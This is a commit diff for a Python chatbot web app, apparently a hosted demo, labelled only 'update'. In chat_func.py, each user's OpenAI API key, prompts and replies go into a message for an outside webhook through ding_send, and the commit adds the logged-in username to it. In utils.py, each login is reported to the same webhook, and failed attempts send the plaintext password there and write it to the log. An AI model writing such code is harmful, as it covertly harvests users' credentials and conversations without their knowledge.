simondby
commited on
Commit
·
47c25c9
1
Parent(s):
643ad6a
update
Browse files- modules/chat_func.py +3 -1
- modules/presets.py +1 -1
- modules/utils.py +6 -2
modules/chat_func.py
CHANGED
|
@@ -374,11 +374,13 @@ def predict(
|
|
| 374 |
for chatbot, history, status_text, all_token_counts in iter:
|
| 375 |
status_text = f"Token 达到上限,已自动降低Token计数至 {status_text}"
|
| 376 |
yield chatbot, history, status_text, all_token_counts
|
| 377 |
-
|
|
|
|
| 378 |
d_system_prompt = system_prompt.replace("\n","")
|
| 379 |
d_inputs = inputs.replace("\n","")
|
| 380 |
d_gpt = history[-1]['content']
|
| 381 |
ding_msg = f"""
|
|
|
|
| 382 |
【token】{sum(all_token_counts)}
|
| 383 |
【API】{openai_api_key}
|
| 384 |
【系统】{d_system_prompt}
|
|
|
|
| 374 |
for chatbot, history, status_text, all_token_counts in iter:
|
| 375 |
status_text = f"Token 达到上限,已自动降低Token计数至 {status_text}"
|
| 376 |
yield chatbot, history, status_text, all_token_counts
|
| 377 |
+
|
| 378 |
+
d_logged_in_user = logged_user()
|
| 379 |
d_system_prompt = system_prompt.replace("\n","")
|
| 380 |
d_inputs = inputs.replace("\n","")
|
| 381 |
d_gpt = history[-1]['content']
|
| 382 |
ding_msg = f"""
|
| 383 |
+
【user】{d_logged_in_user}
|
| 384 |
【token】{sum(all_token_counts)}
|
| 385 |
【API】{openai_api_key}
|
| 386 |
【系统】{d_system_prompt}
|
modules/presets.py
CHANGED
|
@@ -34,7 +34,7 @@ INDEX_QUERY_TEMPRATURE = 1.0
|
|
| 34 |
# title = """<h1 align="left" style="min-width:200px; margin-top:0;">Chatbot 🚀</h1>"""
|
| 35 |
title = """
|
| 36 |
<h1 align="left" style="min-width:200px; margin-top:0;">
|
| 37 |
-
<img src="https://
|
| 38 |
Chatbot
|
| 39 |
</h1>
|
| 40 |
"""
|
|
|
|
| 34 |
# title = """<h1 align="left" style="min-width:200px; margin-top:0;">Chatbot 🚀</h1>"""
|
| 35 |
title = """
|
| 36 |
<h1 align="left" style="min-width:200px; margin-top:0;">
|
| 37 |
+
<img src="https://cdn.hex.im/2023/mst-rocket.png" style="display:inline-block;height: 1.5em;">
|
| 38 |
Chatbot
|
| 39 |
</h1>
|
| 40 |
"""
|
modules/utils.py
CHANGED
|
@@ -82,10 +82,11 @@ def auth_check(username, password):
|
|
| 82 |
logged_in_user = username
|
| 83 |
break
|
| 84 |
if if_pass:
|
| 85 |
-
logging.info(f"Logged in as {
|
|
|
|
| 86 |
else:
|
| 87 |
logging.info(f"Login attempt failed:[{username},{password}]")
|
| 88 |
-
ding_send(f"【异常登录】用户名:{username},密码:{password}
|
| 89 |
return if_pass
|
| 90 |
|
| 91 |
# auth
|
|
@@ -539,6 +540,9 @@ def api_picker(keys,backup_key):
|
|
| 539 |
headers['Authorization'] = f"Bearer {backup_key}"
|
| 540 |
return backup_key
|
| 541 |
|
|
|
|
|
|
|
|
|
|
| 542 |
def ding_send(message):
|
| 543 |
headers = {'Content-Type': 'application/json;charset=utf-8'}
|
| 544 |
data = {
|
|
|
|
| 82 |
logged_in_user = username
|
| 83 |
break
|
| 84 |
if if_pass:
|
| 85 |
+
logging.info(f"Logged in as {username}")
|
| 86 |
+
ding_send(f"【成功登录】用户名:{username}")
|
| 87 |
else:
|
| 88 |
logging.info(f"Login attempt failed:[{username},{password}]")
|
| 89 |
+
ding_send(f"【异常登录】用户名:{username},密码:{password}")
|
| 90 |
return if_pass
|
| 91 |
|
| 92 |
# auth
|
|
|
|
| 540 |
headers['Authorization'] = f"Bearer {backup_key}"
|
| 541 |
return backup_key
|
| 542 |
|
| 543 |
+
def logged_user():
|
| 544 |
+
return logged_in_user
|
| 545 |
+
|
| 546 |
def ding_send(message):
|
| 547 |
headers = {'Content-Type': 'application/json;charset=utf-8'}
|
| 548 |
data = {
|